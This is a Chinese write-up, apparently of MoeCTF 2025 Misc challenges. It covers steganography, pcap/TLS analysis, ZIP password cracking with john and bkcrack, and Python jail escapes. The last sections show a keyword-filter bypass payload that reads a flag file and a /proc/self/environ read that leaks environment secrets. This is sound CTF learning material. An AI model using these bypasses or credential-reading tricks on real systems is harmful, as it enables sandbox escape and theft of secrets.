南北绿豆奈哪买噶奈哪买南北绿豆;欧莫季里噶奈哪买噶奈哦吗吉利。哦吗吉利哪买噶奈哪椰奶龙?哈基米买娜奈哪买北窝那没撸多。哈基米多多压那奈椰奶龙;奈诺娜美嘎哪买娜奈哪买窝那没撸多?哦吗吉利噶奈哪买哈基米;窝那没撸多噶奈哪买噶奈哪哈基米。库路曼波买噶奈哪买哦吗吉利,哈基米娜奈哪买北南北绿豆,哦吗吉利多多压那多多欧莫季里。阿西噶压压那南撸基阿奈诺娜美嘎,哈基米南里南北友里窝那没撸多。库路曼波一吉豆没咕椰奶龙,库路曼波吉豆没咕吉豆椰奶龙。库路曼波没咕吉豆没咕库路曼波?哦吗吉利吉豆没米吉库路曼波。阿西噶压豆耶咕吉豆没米窝那没撸多;南北绿豆吉豆没米哈基米;窝那没撸多吉豆没咕吉奈诺娜美嘎。库路曼波豆没咕吉豆椰奶龙,欧莫季里没咕吉豆没咕吉南北绿豆?库路曼波豆没米吉豆欧莫季里。哦吗吉利耶咕吉豆没咕奶哈基米;窝那没撸多压多那吉豆没咕奈诺娜美嘎。阿西噶压吉豆没咕吉哦吗吉利;椰奶龙豆没咕吉豆没咕南北绿豆。窝那没撸多吉豆没米奶压哈基米,哈基米多那吉豆没米吉哈基米?奈诺娜美嘎豆没咕吉豆窝那没撸多,南北绿豆没咕吉豆没咕吉窝那没撸多,窝那没撸多豆没咕吉哦吗吉利;南北绿豆豆没咕吉豆没米窝那没撸多;南北绿豆吉豆耶咕吉豆椰奶龙。哈基米没米吉豆哈基米?库路曼波耶吗多奈哪买噶哈基米。哦吗吉利奈哪买噶奈哪阿西噶压;南北绿豆买噶奈哪窝那没撸多;阿西噶压买噶奈哪买阿西噶压;哈基米娜多多压那窝那没撸多?欧莫季里奈哪买北多奈诺娜美嘎;哦吗吉利多压那呀里欧西库路曼波。窝那没撸多奈哪买噶奈哈基米;南北绿豆哪买噶奈哪哦吗吉利,欧莫季里买噶奈哪买噶奈库路曼波,库路曼波哪买噶多多压那库路曼波。哈基米奈哪买噶奈哪买南北绿豆?椰奶龙娜奈哪买哈基米,窝那没撸多噶奈哪买奈诺娜美嘎?阿西噶压噶奈哪买噶奈哪哈基米,阿西噶压买噶奈哪买娜奈奈诺娜美嘎。奈诺娜美嘎哪买北奈哪买噶椰奶龙?哦吗吉利奈哪买北奈诺娜美嘎,窝那没撸多奈哪买噶奈哪窝那没撸多?阿西噶压买噶奈哪买噶奈欧莫季里。库路曼波哪买噶奈哈基米?阿西噶压哪买噶多多压那阿西噶压。窝那没撸多奈哪买北奈哪买阿西噶压;库路曼波噶奈哪买噶窝那没撸多。南北绿豆奈哪买噶奈哈基米;椰奶龙哪买噶奈哪买哦吗吉利;南北绿豆噶奈哪买哈基米;哈基米噶多多压那奈诺娜美嘎?窝那没撸多奈哪买北奈哦吗吉利,库路曼波哪买娜奈椰奶龙。哈基米哪买噶奈哪欧莫季里?椰奶龙买噶奈哪买噶阿西噶压。哈基米奈哪买噶奈奈诺娜美嘎?欧莫季里哪买噶多多压那哦吗吉利,阿西噶压奈哪买娜奈哪买哦吗吉利,南北绿豆娜奈哪买噶奈哪哈基米;库路曼波买噶奈哪买窝那没撸多。哈基米噶奈哪买南北绿豆;椰奶龙噶奈哪买噶多多窝那没撸多,阿西噶压压那奈哪买椰奶龙,欧莫季里娜奈哪买奈诺娜美嘎,阿西噶压北奈哪买噶奈哪库路曼波。库路曼波买噶奈哪买噶奈阿西噶压?哈基米哪买噶奈南北绿豆,南北绿豆哪买娜奈哪买哈基米;哦吗吉利北奈哪买噶奈椰奶龙,库路曼波哪买北奈窝那没撸多,阿西噶压哪买噶奈哪买奈诺娜美嘎;奈诺娜美嘎噶奈哪买噶奈欧莫季里,阿西噶压哪买噶奈哪窝那没撸多。南北绿豆买噶多多阿西噶压,窝那没撸多压那奈哪阿西噶压?椰奶龙买北奈哪奈诺娜美嘎;窝那没撸多买娜奈哪买噶奈椰奶龙?哦吗吉利哪买噶奈阿西噶压。哈基米哪买噶奈哪窝那没撸多;库路曼波买噶奈哪买噶奈欧莫季里。南北绿豆哪买北多多压那窝那没撸多;欧莫季里奈哪买娜奈哪买奈诺娜美嘎;椰奶龙噶奈哪买噶窝那没撸多,奈诺娜美嘎奈哪买噶奈阿西噶压;阿西噶压哪买噶奈哪买娜阿西噶压;椰奶龙奈哪买北奈欧莫季里。奈诺娜美嘎哪买噶奈阿西噶压,椰奶龙哪买娜奈哪买欧莫季里?库路曼波噶奈哪买库路曼波。阿西噶压噶奈哪买噶窝那没撸多;窝那没撸多奈哪买噶奈哪买南北绿豆?阿西噶压噶多多压那椰奶龙,库路曼波奈哪买娜哈基米;窝那没撸多奈哪买噶阿西噶压,库路曼波喔酷娜利步啊那窝那没撸多?南北绿豆吉豆没咕吉豆欧莫季里;欧莫季里没咕吉豆没南北绿豆?库路曼波咕吉豆没咕库路曼波。哈基米吉豆没咕哦吗吉利?哈基米奶压多那吉豆库路曼波,库路曼波没咕吉豆耶咕阿西噶压,椰奶龙吉豆没咕吉豆没窝那没撸多?阿西噶压咕吉豆没咕欧莫季里。奈诺娜美嘎吉豆没咕吉豆哈基米?欧莫季里没咕奶压多那吉库路曼波;阿西噶压豆没咕奶椰奶龙;奈诺娜美嘎压多那吉南北绿豆,窝那没撸多豆没咕吉欧莫季里;南北绿豆豆没咕吉豆奈诺娜美嘎。库路曼波没咕吉豆奈诺娜美嘎,南北绿豆没咕吉豆没咕吉窝那没撸多?库路曼波豆耶咕奶压多阿西噶压,哈基米那吉豆没米吉豆窝那没撸多;哈基米没咕吉豆没咕吉南北绿豆?奈诺娜美嘎豆没咕吉豆没奈诺娜美嘎;南北绿豆咕吉豆没南北绿豆。奈诺娜美嘎咕奶压多那吉奈诺娜美嘎?南北绿豆豆没米吉椰奶龙;椰奶龙豆没咕吉豆没窝那没撸多?欧莫季里咕吉豆没咕吉豆库路曼波;欧莫季里没咕吉豆没咕南北绿豆?奈诺娜美嘎吉豆没咕奶窝那没撸多;南北绿豆压多那吉豆没咕哈基米?欧莫季里吉豆没米吉豆欧莫季里;阿西噶压没咕吉豆奈诺娜美嘎;阿西噶压没咕吉豆没咕吉椰奶龙,哈基米豆没咕吉豆没阿西噶压?南北绿豆咕奶压多那椰奶龙。欧莫季里吉豆没咕吉豆没库路曼波;哈基米吗喵子路路吉阿西噶压,窝那没撸多豆没咕吉豆哦吗吉利;南北绿豆没咕吉豆阿西噶压?阿西噶压没咕吉豆没南北绿豆;哈基米咕吉豆没咕窝那没撸多;阿西噶压奶压多那吉椰奶龙;库路曼波豆没咕吉豆没米阿西噶压,奈诺娜美嘎吉豆没咕吉窝那没撸多。阿西噶压豆没咕吉窝那没撸多,阿西噶压豆没咕吉豆欧莫季里?库路曼波没咕吉豆没窝那没撸多,库路曼波咕吉豆耶咕奶压窝那没撸多?哦吗吉利多那吉豆没米阿西噶压。哈基米吉豆没咕吉欧莫季里;南北绿豆豆没咕吉欧莫季里。南北绿豆豆没咕吉豆没咕南北绿豆?椰奶龙吉豆没米吉豆椰奶龙;库路曼波耶咕吉豆没阿西噶压?欧莫季里咕吉豆没米南北绿豆;南北绿豆吉豆没咕吉豆没哈基米;哦吗吉利咕吉豆没咕吉奈诺娜美嘎?窝那没撸多豆没咕吉豆库路曼波,库路曼波没咕奶压多那吉阿西噶压。窝那没撸多豆没咕吉豆库路曼波?阿西噶压没西一奈哪买噶阿西噶压;哦吗吉利奈哪买噶哦吗吉利;椰奶龙奈哪买噶奈南北绿豆,库路曼波哪买噶奈哪买娜库路曼波,哈基米奈哪买北奈哪买窝那没撸多。欧莫季里噶奈哪买北奈哈基米,椰奶龙哪买噶奈库路曼波?南北绿豆哪买噶奈欧莫季里;哈基米哪买噶奈椰奶龙,奈诺娜美嘎哪买噶奈哪南北绿豆,库路曼波买娜奈哪哦吗吉利?阿西噶压买北奈哪买娜奈库路曼波。欧莫季里哪买噶奈欧莫季里,库路曼波哪买噶奈哪买欧莫季里?库路曼波噶奈哪买噶奈窝那没撸多;阿西噶压哪买噶奈阿西噶压;窝那没撸多哪买噶奈哪买北南北绿豆。库路曼波多多压那欧莫季里?欧莫季里奈哪买娜奈哪哦吗吉利;哈基米买噶奈哪买噶奈库路曼波,库路曼波哪买噶奈库路曼波?奈诺娜美嘎哪买噶奈哪阿西噶压,南北绿豆买噶多多压库路曼波;南北绿豆那奈哪买娜奈库路曼波,库路曼波哪买北奈哪椰奶龙,欧莫季里买噶奈哪买库路曼波。窝那没撸多噶奈哪买噶窝那没撸多,哈基米奈哪买噶阿西噶压。南北绿豆奈哪买噶多椰奶龙?哈基米多压那奈哪阿西噶压;库路曼波买娜奈哪买欧莫季里?库路曼波娜奈哪买噶奈欧莫季里;哈基米哪买噶奈哪椰奶龙。窝那没撸多买噶奈哪奈诺娜美嘎;椰奶龙买噶奈哪买库路曼波,阿西噶压娜奈哪买北椰奶龙。奈诺娜美嘎奈哪买噶奈哈基米;窝那没撸多哪买北奈哪哈基米。奈诺娜美嘎买噶奈哪买噶窝那没撸多?南北绿豆奈哪买噶欧莫季里,库路曼波奈哪买噶奈哪买库路曼波。南北绿豆娜奈哪买南北绿豆;欧莫季里北奈哪买娜奈哦吗吉利。哈基米哪买娜子窝那没撸多;南北绿豆酷波利子撸娜哪哈基米?哈基米哈里椰路阿西噶压,阿西噶压奈哪买噶奈哪哈基米。哈基米买噶奈哪买噶库路曼波?欧莫季里奈哪买噶奈哪南北绿豆,奈诺娜美嘎买噶多多椰奶龙;阿西噶压压那奈哪库路曼波;库路曼波买噶多多压那奈库路曼波;哦吗吉利哪买噶奈哪买哦吗吉利。椰奶龙噶奈哪买噶奈窝那没撸多,阿西噶压哪买噶奈哪买噶欧莫季里,库路曼波多多压那奈库路曼波;窝那没撸多哪买噶多多压那哈基米,窝那没撸多喔米哦啊呀砸奈诺娜美嘎;椰奶龙曼吉豆没咕南北绿豆;库路曼波吉豆没咕吉豆没阿西噶压?哦吗吉利咕吉豆没咕吉哦吗吉利;库路曼波豆没咕奶压库路曼波。库路曼波多那吉豆南北绿豆?奈诺娜美嘎没米吉豆库路曼波;哦吗吉利耶吗一奈哪买奈诺娜美嘎。椰奶龙噶奈哪买噶奈阿西噶压?哈基米哪买噶奈哪买噶窝那没撸多。南北绿豆奈哪买噶阿西噶压;窝那没撸多多多压那阿西噶压,阿西噶压奈哪买北奈阿西噶压,欧莫季里哪买噶奈哪买噶哈基米。哈基米奈哪买噶奈诺娜美嘎?哈基米奈哪买噶库路曼波。南北绿豆奈哪买噶奈哪阿西噶压,奈诺娜美嘎买噶多多压那欧莫季里;南北绿豆奈哪买噶哈基米,窝那没撸多奈哪买北奈哪买南北绿豆,欧莫季里噶奈哪买奈诺娜美嘎?哦吗吉利噶奈哪买哈基米;南北绿豆噶奈哪买南北绿豆;窝那没撸多噶奈哪买娜奈哪椰奶龙,欧莫季里买北奈哪买噶阿西噶压,库路曼波多多压那奈哪买哈基米;哈基米噶奈哪买噶窝那没撸多?欧莫季里奈哪买噶奈哪买哦吗吉利。阿西噶压噶奈哪买噶多哦吗吉利,阿西噶压多压那奈哪买阿西噶压,哈基米北奈哪买南北绿豆,南北绿豆噶奈哪买噶奈阿西噶压,欧莫季里哪买噶奈哦吗吉利。椰奶龙哪买噶奈哈基米,库路曼波哪买噶奈窝那没撸多,奈诺娜美嘎哪买噶多窝那没撸多,椰奶龙多压那奈哪买噶南北绿豆,阿西噶压奈哪买北奈哈基米;哈基米哪买噶奈哪奈诺娜美嘎,哦吗吉利买噶奈哪买噶奈阿西噶压,窝那没撸多哪买噶奈哪阿西噶压。窝那没撸多买娜多多椰奶龙;椰奶龙压那多多压奈诺娜美嘎;阿西噶压那奈哪买娜南北绿豆。哦吗吉利自米哦啊南北绿豆;奈诺娜美嘎南酷基压步酷欧莫季里;奈诺娜美嘎马美友喔奈诺娜美嘎;窝那没撸多诺哪呀喔喵欧莫季里;欧莫季里哩椰奶龙。

注意到题目给出了一个「哈基米语翻译器」,直接使用:

使用「哈基米语翻译器」解密

只是这玩意为啥跑出来是 fakeflag?不对,复制到 fakeflag.txt 丢到 HexEd.It 一看,果不其然给我藏东西了😡😡

使用零宽字符隐写的 `flag`

可能是零宽字符隐写。我们刚好有工具 Unicode Steganography with Zero-Width Characters 可以用。粘贴进去拿到 Hidden Text,这就是 flag 了。

使用零宽字符隐写解密器

✅ 捂住一只耳

下载 粒子艺术.wav,注意到其中一个声道几乎没有声音,我们尝试使用 Audition 打开该 .wav 文件。注意到其中一个声道的波形呈现出摩斯密码状,手动解码即可。

✅ Enchantment

注意到附件内是一个 .pcapng 文件,考虑使用 WireShark 分析。根据题目说明,「发了出去」的请求可能是 HTTP 请求,为了验证这一点,我们使用 Statistic > Protocol Hierarchy统计 > 协议分级)工具,发现大部分请求均为 Internet Protocol Version 6Internet Protocol Version 4

协议分级统计

运用 Filter(过滤器),输入 http 后过滤出全体 HTTP 请求。注意到第 193 个请求是一个 HTTP POST 请求,其内容为一个 PNG 文件,于是锁定该文件。

分析 HTTP 请求

我们使用 File > Export Object > HTTP文件 > 导出对象 > HTTP)导出第 193 个请求,手动移除该请求体的头尾后,得到 enchantment.png

`enchantment.png`

注意到上面显示的是 Standard Galactic Alphabet(星际银河字母),使用 解码器 即可。

✅ WebRepo

我们解压并扫描这个来路不明的二维码,得到下面的提示:

Flag is not here, but I can give you a hint:
Use binwalk.

这给了我们极大的提示,使用 binwalk 得到:

1
2
3
4
5
6
┌──(stellalyrin㉿lyrin-A16)-[/mnt/s/MoeCTF/Misc]
└─$ binwalk WebRepo.webp

DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
16012 0x3E8C 7-zip archive data, version 0.3

注意到在 0x3E8C 后存在 7-zip 归档文件,我们使用 dd 来提取:

1
dd if=./WebRepo.webp of=./WebRepo.7z bs=1 skip=16012

得到 WebRepo.7z。使用 7-Zip 打开发现里面有一个 .git 文件,熟悉 Git 的朋友们一定知道这其中的奥秘了。

直接将 .git 文件夹拖拽到一个空文件夹中,使用 Visual Studio Code 的 Git 可视化工具读取名为 flag 的 commit 中提交的新文件即可。

✅ ez_ssl

解包附件后得到一个 .pcapng 文件,故继续使用 WireShark 打开分析。我们发现,近乎大部分的流量都是 TLSv1.2 的,故我们必须要先解密这些 HTTPS 流量。考虑到题目所说的

但与此同时,他的浏览器却悄悄上传了另一份文件。

我们推测解密必需的 CLINET_RANDOM 就包含在这份 .pcapng 文件中。运用 Filter(过滤器)输入 frame contains "CLIENT_RANDOM" 后确得到第 243 个请求包含了 CLIENT_RANDOM

使用过滤器筛选 `CLIENT_RANDOM`

我们固然可以追踪该请求的 TCP Stream,将其 CLIENT_RANDOM 提取后导入到 WireShark 中。不过,更简便的方法是直接将整个 .pcapng 文件导入到 WireShark,让后者智能地从文件中获得 CLIENT_RANDOM

Edit > Preferences > Protocols > TLS编辑 > 首选项 > Protocols > TLS)的 (Pre)-Master-Secret log filename 中直接选择该 .pcapng 文件即可。

选择 `.pcapng` 文件提取 `CLIENT_RANDOM`

之后继续过滤全体 HTTP POST 请求,在 Filter(过滤器)中输入 http.request.method == "POST" && http.content_type contains "multipart/form-data",过滤出请求 165 和 243,又由于 243 是传输 CLIENT_RANDOM 的请求,锁定 165 后,导出其对象,手动移除该请求体的头尾后,得到 flag_extracted.zip

不过该 flag_extracted.zip 仍然有一层密码保护,在 7-Zip 的 文件 > 属性 中发现了注释

锘垮瘑鐮佷负7浣嶇函鏁板瓧

继续使用乱码恢复器进行恢复,发现是将 UTF-8 编码的文本以 GBK 形式打开。通过解码得到

密码为7位纯数字

准备使用 john 爆破。生成哈希后,我们使用增量模式爆破即可。

1
2
zip2john flag_extracted.zip > flag_extracted.john
john --incremental=Digits --min-length=7 --max-length=7 flag_extracted.john

得到密码 6921682。解压后得到 flag.txt(省略了部分)——

1
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook? Ook. Ook? Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. ...

无敌了……用 Ook 解密器即可。

✅ ez_png

根据题目提示

秘密不在颜色中,而在文件的骨骼里。

注意:某些数据段的长短似乎不太协调。

首先排除再次出现 LSB 隐写的可能。我们可能会认为该图片的大小发生了改变,flag 隐藏于未显示的像素中,故尝试更正图片的 IHDR 数据。对于一个 .png 文件,其文件头均为 89 50 4E 47 0D 0A 1A 0A,随后出现 IHDR 数据,结构如

1
2
... 49 48 44 52     WW WW WW WW     HH HH HH HH ...
^IHDR Chunk ^Width (4B) ^Height (4B)

尝试修改 WidthHeight 后均失败。

尝试修改 `Width`

聪明的读者可能会问,星澜音你为什么要去修改图片的 `Width`?事实上星澜音自己也不知道为什么,大概就是一时兴起干起了极为铸币的事情。 总之此路不通,重新读题后考虑到可能是出题人向图片的某个部分中加入了数据,故尝试检验图片的结构。

首先使用 pngcheck,但未检查出 CRC 不符等的情况,再使用 zsteg 尝试,结果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
┌──(stellalyRin㉿lyrin-A16)-[/mnt/s/MoeCTF/Misc]
└─$ ~/.local/share/gem/ruby/3.3.0/bin/zsteg ./ez_png.png
[?] 38 bytes of extra data after zlib stream
extradata:0 .. file: zlib compressed data
00000000: 78 9c cb cd 4f 4d 2e 49 ab ce 30 74 49 71 cd 8b |x...OM.I..0tIq..|
00000010: 0f 30 89 cc f1 4f 74 89 f7 f4 d3 f5 4c 31 09 a9 |.0...Ot.....L1..|
00000020: 05 00 a8 d0 0a 5f |....._ |
imagedata .. text: " ! **-)(1\t"
b1,b,msb,xy .. file: OpenPGP Public Key
b3,rgb,lsb,xy .. file: OpenPGP Secret Key
b3,rgb,msb,xy .. text: "?gkD$saTE"
b3,bgr,lsb,xy .. file: OpenPGP Secret Key
b4,r,lsb,xy .. text: "c#32>9cXv"
b4,r,msb,xy .. text: "D$\"B@LRp"
b4,g,lsb,xy .. text: "DUCC4DDD4eUUefff"
b4,g,msb,xy .. text: "fjn)mBww"
b4,b,lsb,xy .. text: "3C4DEUUfVfffvwgww"
b4,b,msb,xy .. text: "nnffffff"
b4,rgb,lsb,xy .. text: "3$2C5BS$14"
b4,bgr,lsb,xy .. text: "14#BE3R4$1D"

zsteg 指示它检测出 IDAT 数据流后 38 个字节的冗余数据,并直接将其打印出来。注意到它经过了 zlib compressed,我们考虑使用 CyberChef 解码即可。冗余数据的十六进制表示如下:

1
789ccbcd4f4d2e49abce30744971cd8b0f3089ccf14f7489f7f4d3f54c3109a90500a8d00a5f

向 CyberChef 的 Recipe 中加入 From HexZlib Inflate 即可。

✅ 万里挑一

星澜音超级喜欢的一道 Misc 题目!

下载 attachment.zip 后,内有 3 个文件。hint.txt 指示

Only one password in the 10000 archives can open the lock

这倒好说——lock.zip 应该就是被加密的压缩包,而 password.zip 则为包含了 10,000 个密码的压缩包。打开 password.zip,直接震撼!😱文件结构大致如下:

1
.\password.zip\X.zip\X.zip\X.zip\X.zip\pwd.txt

这里 X 为 0, 1, 2, …, 9。10,000 个密码直接递归地存储在给定的压缩包中……太吓人了。我们需要递归地解压并提取 pwd.txt。这里我们直接使用 Python 脚本完成。

extract_passwords.py 脚本示例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
"""extract_passwords.py

该 Python 脚本供 MoeCTF 2025 的 Misc 赛道中,「万里挑一」题目使用。
由 星澜音 在 Claude 的帮助下编写。
"""

import os
import re
import shutil
import zipfile


def setup_temp_dir():
"""该函数设置解压 `.zip` 文件时的临时目录。"""

if os.path.exists("temp_extract"):
shutil.rmtree("temp_extract")
os.makedirs("temp_extract")
return "temp_extract"


def extract_passwords(
zip_path, temp_dir, max_depth=10, current_depth=0, passwords=None, path_prefix=""
):
"""该函数递归地解压 `password.zip` 及其子压缩包。

Args:
zip_path (str): 压缩包路径。
temp_dir (str): 临时目录路径。
max_depth (int, optional): 解压时的递归深度。这里,Claude 为了确保递归完全进行,将其默认值设为了 10。实际上,由于我们完全已知压缩包结构,可以精确指定 `max_depth` 的值。
current_depth (int, optional): 解压时的当前深度。
passwords (str, optional): 解压得到的密码。
path_prefix (str, optional): 路径的前缀。
"""
if passwords is None:
passwords = set()

if current_depth >= max_depth:
return passwords

current_path = (
f"{path_prefix}/{os.path.basename(zip_path)}"
if path_prefix
else os.path.basename(zip_path)
)

try:
with zipfile.ZipFile(zip_path, "r") as zip_ref:
zip_ref.extractall(temp_dir)

# 检查是否存在 `pwd.txt`,如果有,就在其中匹配密码;如果没有,则跳过并继续向下递归解压。
if "pwd.txt" in zip_ref.namelist():
pwd_path = os.path.join(temp_dir, "pwd.txt")
with open(pwd_path, "r", encoding="utf-8", errors="ignore") as f:
content = f.read()
password = None
# 尝试精确匹配密码格式。
match = re.search(r"The password is:([a-f0-9]+)", content)
if match:
password = match.group(1)
else:
# 尝试宽松匹配密码格式。
match = re.search(
r"password.*?[: ]([a-f0-9]+)", content, re.IGNORECASE
)
if match:
password = match.group(1)
else:
# 在完全无法正确匹配密码格式时,尝试匹配任何可能的密码,其判断标准为 16~40 个字符的字母、数字字符串。
match = re.search(r"([a-f0-9]{16,40})", content)
if match:
password = match.group(1)

if password:
passwords.add(password)
print(f"找到密码: {password} (来自 {current_path})")

# 递归处理所有子 `zip` 文件。
for i in range(10):
sub_zip = os.path.join(temp_dir, f"{i}.zip")
if os.path.exists(sub_zip):
sub_dir = os.path.join(temp_dir, f"extract_{i}")
if not os.path.exists(sub_dir):
os.makedirs(sub_dir)
extract_passwords(
sub_zip,
sub_dir,
max_depth,
current_depth + 1,
passwords,
current_path,
)
except Exception as e:
print(f"处理 {zip_path} 时出错:{str(e)[:100]}……")

return passwords


def main():
"""主函数开始处理压缩包 `password.zip` 的解压。"""

temp_dir = setup_temp_dir()

# 解压第 1 层压缩包。
try:
with zipfile.ZipFile("password.zip", "r") as zip_ref:
zip_ref.extractall(temp_dir)
except Exception as e:
print(f"无法解压 `password.zip`:{e}")
return

# 递归地提取所有密码。
print("开始提取所有可能的密码……")
all_passwords = set()

# 处理所有 `zip` 文件。
for i in range(10):
sub_zip = os.path.join(temp_dir, f"{i}.zip")
if os.path.exists(sub_zip):
sub_dir = os.path.join(temp_dir, f"extract_{i}")
if not os.path.exists(sub_dir):
os.makedirs(sub_dir)
passwords = extract_passwords(sub_zip, sub_dir, max_depth=10)
all_passwords.update(passwords)

print(f"总共找到 {len(all_passwords)} 个不同的密码。")

# 将密码保存在 `extracted_passwords.txt` 中。
with open("extracted_passwords.txt", "w", encoding="utf-8") as f:
for pwd in all_passwords:
f.write(f"{pwd}\n")
print("所有密码已保存到 `extracted_passwords.txt` 文件中。")

# 清理临时文件。
print("正在清理临时文件……")
try:
shutil.rmtree(temp_dir)
except Exception as e:
print(f"清理临时文件时出错: {e}")


if __name__ == "__main__":
main()

提取 10,000 个密码后,我们使用 zip2john 生成该 lock.zip 的 Hash 如下:

1
lock.zip/flag.zip:$zip2$*0*3*0*a88bcad537062a02a067a69d60dcc5ad*6017*20140*502fb5b3209956adc298cf4e0 ...

生成的 lock.hash 有足足 256 KiB,这里就不放完整版本了。接下来,指定字典为 extracted_passwords.txt 再进行爆破。

1
2
3
zip2john lock.zip > lock.hash
john --wordlist=./extracted_passwords.txt lock.hash
john show lock.hash

得到输出

1
2
3
4
[stellalyrin@stellasus wanlitiaoyi]$ john --show lock.hash
lock.zip/flag.zip:a296a5ec1385f394e8cb:flag.zip:lock.zip:lock.zip

1 password hash cracked, 0 left

这便得到了 lock.zip 的密码 a296a5ec1385f394e8cb。解压得到其中的 flag.zip,后者中有 明文.exeflag.txt,终于拿到 flag 了!打开一看,不好,这 flag.zip 怎么还有密码?尝试用 `john` 再次爆破,跑了半个小时没有结果,遂放弃这条路。

目光回到 flag.zip 上。根据

中「明文攻击」记载的内容,ZIP 存在这样一种特性:倘若我们得到一个已有的未压缩的(仅打包的).zip 文件,并已知其中至少 12 个字节的连续数据,就可以暴力破解出该 .zip 中的文件。当然,这要求 .zip 文件必须是 ZipCrypto Store 打包的,而这里,我们的 .zip 恰好满足这一点,这可以通过 Ark 压缩文件管理工具 验证。

使用 Ark 压缩文件管理工具 确定打包方式

参考

目光回到 明文.exe 上。熟悉 Windows 的朋友们应当知道,当我们尝试用 notepad 打开一个 .exe 文件时,通常映入眼帘的是一堆乱码和一个

1
This program cannot be run in DOS mode.

事实上,这样的 .exe 文件都具有 PE 结构,而 PE 结构恰好具有类似的结构体,例如 DOS 头、PE 头、节表等。在 DOS 头中我们有 DOS 存根(DOS stub),包含一段汇编代码,它的功能就是显示刚刚的那一段文字。当该 .exe 文件运行在 16 位的环境中时,上面的文字就会被输出,然后进程便自动退出。

既然每一个 .exe 文件都有这样的结构,我们不妨直接使用这段连续数据来攻击 .zip 文件!我们随便写一个 .exe 程序,这里星澜音就将其命名为 love_dryice.exe,然后丢入 HexEd.it 中,观察文件头:

使用 HexEd.it 观察文件头

这段文字距离文件头 78 个字节,也就是说,它的偏移量为 78。我们将这段文字写入 pe_header 中,但需要注意的是,默认情况下,输入的内容都带有一个隐藏的换行符,它会导致稍后的破解工具无法正确匹配 flag.zip 中的内容,所以我们需要这样写入文件

1
echo -n "This program cannot be run in DOS mode." > pe_header

然后使用 bkcrack 工具开始爆破 .zip 文件!指令如下

1
bkcrack -C flag.zip -c 明文.exe -p pe_header -o 78

其中 -C 后接被爆破的 .zip 文件,-c 后接你所知道的连续数据出现的文件,-p 后接连续数据,-o 后接该连续数据相对于 -c 文件的文件头的偏移。

程序输出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
[stellalyrin@stellasus wanlitiaoyi]$ time bkcrack -C flag.zip -c 明文.exe -p pe_header -o 78
bkcrack 1.7.1 - 2024-12-21
[16:36:18] Z reduction using 31 bytes of known plaintext
100.0 % (31 / 31)
[16:36:18] Attack on 246339 Z values at index 85
Keys: eec878a3 6808e48f 3aa41bd8
79.3 % (195440 / 246339)
Found a solution. Stopping.
You may resume the attack with the option: --continue-attack 195440
[16:37:49] Keys
eec878a3 6808e48f 3aa41bd8

real 1m31.451s
user 23m58.272s
sys 0m0.769s

这里星澜音加入了 time 以计时整个操作,用时约 0.6 个两分半完成。事实上,你可以为连续数据包含更多内容,这样爆破起来也会更快。我们得到了该 .zip 文件的 keyseec878a3 6808e48f 3aa41bd8,下面就可以解压出该压缩包了。需要注意的是,这个 keys 并非解压密码。

这里我们继续使用 bkcrack,命令如下:

1
bkcrack -C flag.zip -c flag.txt -k eec878a3 6808e48f 3aa41bd8 -d flag.txt

其中 -C 仍然后接爆破的 .zip 文件,-c 后接需要解压的文件,-k 后接上面我们得到的 keys-d 指定输出路径。爆破成功后,cat flag.txt 即可。

1
2
3
4
5
6
[stellalyrin@stellasus wanlitiaoyi]$ bkcrack -C flag.zip -c flag.txt -k eec878a3 6808e48f 3aa41bd8 -d flag.txt
bkcrack 1.7.1 - 2024-12-21
[16:42:30] Writing deciphered data flag.txt
Wrote deciphered data (not compressed).
[stellalyrin@stellasus wanlitiaoyi]$ cat flag.txt
moectf{Y0u_h4v3_cho5en_7h3_r1ght_z1pf1le!!uysdgfsad}[stellalyrin@stellasus wanlitiaoyi]$

彩蛋

当然,星澜音还是想看看出题人在 明文.exe 里留了什么东西!按照同样的方法解开 明文.exe 并用 Ghidra 打开:

使用 Ghidra 分析 `明文.exe`

原来只有 Hello World 吗……😞(失望而归)

✅ Pyjail 0

使用 nc 连接到目标服务器后,考虑题目提示的 Web 赛道第 12 章的 flag 位置,其位于环境变量中。我们猜测远程服务器使用 cat 打印文件内容,这下坏了,cat 怎么打印环境变量呢?我们借助 /proc/self/environ 完成这一点。

原理解析

/proc 是一个由 Linux 内核虚拟出来的文件系统,通常被称为 procfs,它为用户提供了一个窗口,可以用查看文件这种简单直观的方式,查看和修改内核及正在运行的进程的各种数据。例如,使用 ls /proc 可以看到许多以数字命名的目录,这些数字对应着系统的 进程 ID(PID),每个目录都包含了对应进程的详细信息。

为了方便起见,内核提供了一个特殊的符号链接(symlink)/proc/self,它永远指向当前正在访问 /proc/self 的那个进程的自己的信息目录。当我们使用 cat 尝试打开 /proc/self/environ 时,内核会首先将 self 转换为 cat 的 PID,随后直接为 cat 提供一份当前进程的环境变量列表的拷贝。这样就得到了 environ

✅ Pyjail 1

题目源码

1
2
3
4
5
6
7
8
9
10
11
def chall():
user_input = input("Give me your code: ")

# 过滤关键字
forbidden_keywords = ['import', 'eval', 'exec', 'open', 'file']
for keyword in forbidden_keywords:
if keyword in user_input:
print(f"Forbidden keyword detected: {keyword}")
return

result = eval(user_input)

Payload 可如下构造:

1
print(getattr(__builtins__, 'o'+'p'+'e'+'n')('/tmp/flag.txt').read())

它基于下面的原始 Payload 衍生。

1
print(open('/tmp/flag.txt').read())

何为 __builtins__

